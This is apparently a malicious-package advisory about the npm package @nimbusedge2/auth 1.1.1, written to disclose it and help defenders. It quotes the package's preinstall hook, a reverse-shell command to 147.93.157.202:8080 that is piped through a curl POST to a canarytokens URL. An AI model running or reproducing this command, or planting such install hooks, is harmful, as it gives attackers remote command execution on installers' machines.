GCVE-110-OSM-2026-12430

@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time. ENTRY - Preinstall Script in package.json: ""preinstall": "bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 | curl -s -m 5 -X PO..." DESTINATION - 2 fetched-payload (ipv4, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern